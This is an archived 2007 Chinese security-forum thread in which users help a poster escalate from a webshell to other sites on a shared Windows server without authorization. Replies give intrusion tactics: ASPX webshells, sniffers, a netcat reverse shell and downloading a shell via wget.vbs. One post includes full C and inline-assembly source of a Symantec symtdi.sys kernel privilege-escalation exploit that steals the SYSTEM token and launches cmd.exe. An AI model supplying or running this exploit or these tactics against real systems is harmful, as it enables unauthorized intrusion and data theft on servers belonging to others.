邪恶八进制信息安全团队技术讨论组's Archiver

... 2007-9-24 01:50

[讨论]webshell提权 MSSQL数据库

议题作者:...
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

开放端口:
127.0.0.1:21.........开放
127.0.0.1:23.........开放
127.0.0.1:25.........开放
127.0.0.1:80.........开放
127.0.0.1:110.........关闭
127.0.0.1:135.........开放
127.0.0.1:139.........关闭
127.0.0.1:445.........开放
127.0.0.1:1433.........开放
127.0.0.1:3389.........关闭
127.0.0.1:4899.........关闭
127.0.0.1:5631.........开放
127.0.0.1:5632.........关闭
127.0.0.1:43958.........关闭

23--telnet、25--SMTP、5631--Pcanywhere
目的:拿同个服务器上的程序
目标站:知道数据库路径 但是下载也要密码 (我是用旁站一个pub权限查看的)

1.通过漏洞拿下了个SHELL
2.机子上装了ASP和aspx,pcanywhere. (装在D盘没权限)
3.C:\Documents and Settings\All Users\Documents 无权限
3.MSSQL数据库 (跑弱口令无结果,找SA应该SHELL上站是ACCESS数据库的)
4.拿x-scan扫 没什么结果
5.至于其他的目录都没权限浏览,不能写。 启动的程序有写能浏览但不可写(T换不行)

serv-u没装!pcanywhere不行.
有高手要我用ZIP绑个马上去 方法我在google 和百度找不到。。

希望EST 各位牛人指教高招。。 先谢谢了

康乃馨 2007-9-26 12:45

4899不是很火吗?试试这个

serv-u没装!那127.0.0.1:43958这是干什么的 [s:263]

伤心的鱼 2007-9-26 13:03

楼上的可能没看清楚 4899跟43958都是关闭状态

看看服务器上有什么第三方软件, 或者找找SA ~


23也开着呢找找WinWebMail 那里要是可写的话权限会大一些(PS: 一般是不可写)

43958关着不一定就没SU 端口变了呗 open一个上去就知道鸟 [s:264]

haha3967 2007-9-26 13:14

1楼,他们说的那个ZIP绑马我认为类似于用捆绑工具把两个EXE变成一个文件.
找服务器上的可以自动启动的一个程序,然后把你想要执行的程序绑在上面,再替换一下原来服务器上的原文件,这样下次启动的时候你绑上去的程序也可以运行了,我听他们说这叫替换服务!

haha3967 2007-9-26 13:16

开放端口:
127.0.0.1:21.........开放
127.0.0.1:23.........开放
127.0.0.1:25.........开放
127.0.0.1:80.........开放
127.0.0.1:110.........关闭
127.0.0.1:135.........开放
127.0.0.1:139.........关闭
127.0.0.1:445.........开放
127.0.0.1:1433.........开放
127.0.0.1:3389.........关闭
127.0.0.1:4899.........关闭
127.0.0.1:5631.........开放
127.0.0.1:5632.........关闭
127.0.0.1:43958.........关闭

我想他的这个结果是用webshell里的那个扫描功能扫的

hushui 2007-9-26 13:42

如果有WinWebMail的话,找找里面一些有用的信箱,看看有管理员的没有,找下信,可能会有发现

%54ommie 2007-9-26 13:51

先FTP目标看看是否为SU,不是的话之后利用大马的搜索功能搜索一下"conn.asp"之类的文件.

%54ommie 2007-9-26 13:52

SMTP好象前段时间出了个0DAY,也可以试试.

唐不狐 2007-9-26 17:01

楼主是不是要拿同服务器上另外一个站的源代码?
端口是webshell扫出来的,再外网扫下看看。(根据ftp连接信息大致能判断是不是serv-U)
想法子列到机子用户名,可跑跑FTP看。
pcanywhere那里是否也弄到口令了?
shell是否能执行cmd?WS组件删除没?

reghack 2007-9-29 11:13

[quote]引用第3楼haha3967于2007-09-26 13:14发表的 :
1楼,他们说的那个ZIP绑马我认为类似于用捆绑工具把两个EXE变成一个文件.
找服务器上的可以自动启动的一个程序,然后把你想要执行的程序绑在上面,再替换一下原来服务器上的原文件,这样下次启动的时候你绑上去的程序也可以运行了,我听他们说这叫替换服务![/quote]

貌似这里应该是利用winrar 6.x的溢出漏洞。成功率也是比较小的。
特别不能放在网站目录下,最好能放某个盘的根目录,或者比较常见的地方、

shanker 2007-9-29 12:07

以前我也遇见过,开了43958而serv-u提权不成功

wuly 2007-10-4 07:02

.机子上装了ASP和aspx,pcanywhere


[s:289] 扔个ASPNET小马上去.看能不能运行CMD或WS,传个XSNIFFER.反弹个NC回来,.强暴他的XX..找MSSQL其它敏感的文件SEE SEE,,查询分析器,,DIRTREE之类..备份个SHELL到XX目录..报告完...

sunwear 2007-10-4 08:53

ftp是什么?msftp?? 43958端口是可以改的 密码也是可以改的.
难道没有CMDSHELL吗?
netstat -an 一下

snailsor 2007-10-4 16:04

一般来说,你有个MSSQL账号,不需要SA,大都可以提。

sunwear 2007-10-4 18:37

[quote]引用第13楼snailsor于2007-10-04 16:04发表的 :
一般来说,你有个MSSQL账号,不需要SA,大都可以提。[/quote]
请大牛明示

风云逸剑 2007-10-4 21:07

[quote]引用第13楼snailsor于2007-10-04 16:04发表的 :
一般来说,你有个MSSQL账号,不需要SA,大都可以提。[/quote]

你是说的那个普通mssql用户 提成系统权限吧?我没一台测试成功,也不清楚具体环境。悲哀!

fatcat 2007-10-5 15:17

[quote]引用第13楼snailsor于2007-10-04 16:04发表的 :
一般来说,你有个MSSQL账号,不需要SA,大都可以提。[/quote]
public你提提看!不过如果ACCESS导出SHELL能公布出来的话,配合起来倒是有点可能。

人鱼姬 2007-10-8 20:04

aspx的shell比asp的shell权限高一些,你用aspx的shell到处跳转试试看,发现一些敏感的文件和三方软件都会给你带来灵感

hackest 2007-10-10 11:21

或者php,搞不好直接系统权限了哦……

dingking 2007-10-10 19:17

不是有ASPX吗?要是简单的CMD命令可以执行的话。你不防试下cscript能用不。如果可以的话,那就

用wget.vbs远程下一个SHELL到你要X的那站的目录里。我曾经就这样拿下一个目标站的。

在WEBSHELL上无法跨目录过去。但是可以cscript.....直接VBS下一个SHELL到那个目录。但是记住

远程的那个SHELL不要是ASP的扩展名,不然的话是下不来的。因为已经被解析过了。要改成TXT什

么的。

[s:223]

... 2007-10-12 15:55

先谢谢  EST    感谢回复我的人..我以为我帖子没有公布出来 非常感谢.
 但是这些方法基本的米什么效果啊... 
我知道目标站的数据库 路径但是下载要密码 .. 这个能突破吗?

我试了 黑客教程之注入点得知是否有硬盘访问权  
[url]https://forum.eviloctal.com/read-htm-tid-25891-fpage-2.html[/url]

解释一下原理,其它AC数据库也是可以跨库查询。只要把 from 后的表名改成MDB数据库的硬盘绝对地址,后台加上个“. ”,接上要查的表名。例如,我要查D盘yqf.mdb中的ADMIN表:

我试了下  又用了SST 的SHELL 有读写 硬盘功能

但是 我准备读写他数据库  没提示   空白 
我想了 应该也不行.. 因为所在的盘目录没权限..  
请问谁用过这种方法 ?    

HACKEST 或者php,搞不好直接系统权限了哦……   试了失败

楼上的ASPX  也不行 不解析  拿的SHELL 


还有  里面虚拟机有200多个站...有些是空的

... 2007-10-12 16:05

对了
小D 渗透水平不高...
我扫过服务器 发觉几个  严重 漏洞..
但是 对于溢出 ..偶是白痴...
我试了  MSSQL  失败 ...
  各位牛淫有啥 高手 ?请指教下  从脚本方面 ..那站 基本... 是精良修改过的.基本都纯HTML页面
后台能找到  社工米用  扫了目录米结果   数据库知道也没用..

唯一方法 就是溢出了  用X-CAN  报告 开了蠕虫传播端口 
如果 有  大牛  需要开了 什么端口  偶马上放出来

amoeba 2007-10-13 03:43

郁闷,我的是学校的服务器
但是只有Symantec AntiVirus symtdi.sys这个提权感觉能入手,其它没什么服务,但是编译出来后好象不知道WEBSHELL执行 的...

#include <stdio.h>
#include <windows.h>

#pragma comment (lib, "ntdll.lib")

typedef LONG NTSTATUS;

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _IMAGE_FIXUP_ENTRY {

  WORD  offset:12;
  WORD  type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef struct _UNICODE_STRING {

  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
  IN HANDLE ProcessHandle,
  IN OUT PVOID *BaseAddress,
  IN ULONG ZeroBits,
  IN OUT PULONG AllocationSize,
  IN ULONG AllocationType,
  IN ULONG Protect
  );

int main(int argc, char* argv[])
{
  NTSTATUS  status;
  HANDLE  deviceHandle;
  DWORD  dwReturnSize = 0;
  PVOID  VdmControl = NULL;

  PVOID  ShellCodeMemory = (PVOID)0x2E352E35;
  DWORD  MemorySize = 0x2000;

  PROCESS_INFORMATION      pi;
  STARTUPINFOA        stStartup;

  OSVERSIONINFOEX  OsVersionInfo;

  RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
  OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
  GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

  if ( OsVersionInfo.dwMajorVersion != 5 ) {

    printf( "Not NT5 system\n" );
    ExitProcess( 0 );
    return 0;
  }

  if ( OsVersionInfo.dwMinorVersion != 2 ) {
  
    printf( "isn&#39;&#39;t windows 2003 system\n" );
    ExitProcess( 0 );
    return 0;
  }

  printf( "Symantec Local Privilege Escalation Vulnerability Exploit (POC) \n\n" );
  printf( "Tested on: \n\twindows 2003 sp1 (ntkrnl.pa.exe version) \n\n" );
  printf( "\tCoded by shadow3\n\n" );

  status = NtAllocateVirtualMemory( (HANDLE)-1,
                   &ShellCodeMemory,
                   0,
                   &MemorySize,
                   MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
                   PAGE_EXECUTE_READWRITE );
  if ( status != STATUS_SUCCESS ) {
  
    printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );
    return 0;
  }

  memset( ShellCodeMemory, 0x90, MemorySize );

  __asm {
  
    call  CopyShellCode

    nop
    nop
    nop
    nop
    nop
    nop

    //
    // 恢复SSDT保证系统能够正常运行
    //
/*
    mov edi, 0x80827D54
    mov [edi], 0x808C998A
    mov [edi+4], 0x809ba123
    mov [edi+8], 0x80915CBE
*/ // ntoskrnl.exe

    mov edi, 0x8083100C
    // mov [edi], 0x808C998A
    mov [edi+4], 0x809970CC // ntkrnlpa.exe version
    mov [edi+8], 0x8092FF3E

    mov  eax,0xFFDFF124  // eax = ETHREAD    (not 3G Mode)
    mov eax,[eax]

    mov  esi,[eax+0x218]
    mov  eax,esi

search2k3sp1:

    mov  eax,[eax+0x98]
    sub  eax,0x98
    mov  edx,[eax+0x94]
    cmp  edx,0x4  // Find System Process
    jne  search2k3sp1

    mov  eax,[eax+0xd8]  // 获取system进程的token
    mov  [esi+0xd8],eax  // 修改当前进程的token

    ret 8

CopyShellCode:
   
    pop  esi
    lea ecx, CopyShellCode
    sub ecx, esi

    mov edi,0x2E352E35
    cld
    rep movsb
  
  }

  deviceHandle = CreateFile("\\\\.\\Symtdi",
            0,
            FILE_SHARE_READ|FILE_SHARE_WRITE,
            NULL,
            OPEN_EXISTING,
            0,
            NULL);
  if ( INVALID_HANDLE_VALUE == deviceHandle ) {
  
    printf( "Open Symtdi device failed, code: %d\n", GetLastError() );
    return 0;
  } else {
  
    printf( "Open Symtdi device success\n" );
  }

  DeviceIoControl( deviceHandle,
           0x83022003,
           NULL,
           0,
           (PVOID)0x8083100C, //ntkrnlpa.exe version // (PVOID)0x80827D54,
           0xC,
           &dwReturnSize,
           NULL );

  CloseHandle( deviceHandle );

  VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
  if ( VdmControl == NULL ) {
  
    printf( "VdmControl == NULL\n" );
    return 0;
  }

  printf( "call shellcode ... " );

  _asm {
  
    xor ecx,ecx
    push ecx
    push ecx
    mov eax, VdmControl
    call eax
  }

  printf( "Done.\n" );
  printf( "Create New Process\n" );

  GetStartupInfo( &stStartup );

  CreateProcess( NULL,
          "cmd.exe",
          NULL,
          NULL,
          TRUE,
          NULL,
          NULL,
          NULL,
          &stStartup,
          &pi );

  return 0;
}

页: [1]
© 1999-2008 EvilOctal Security Team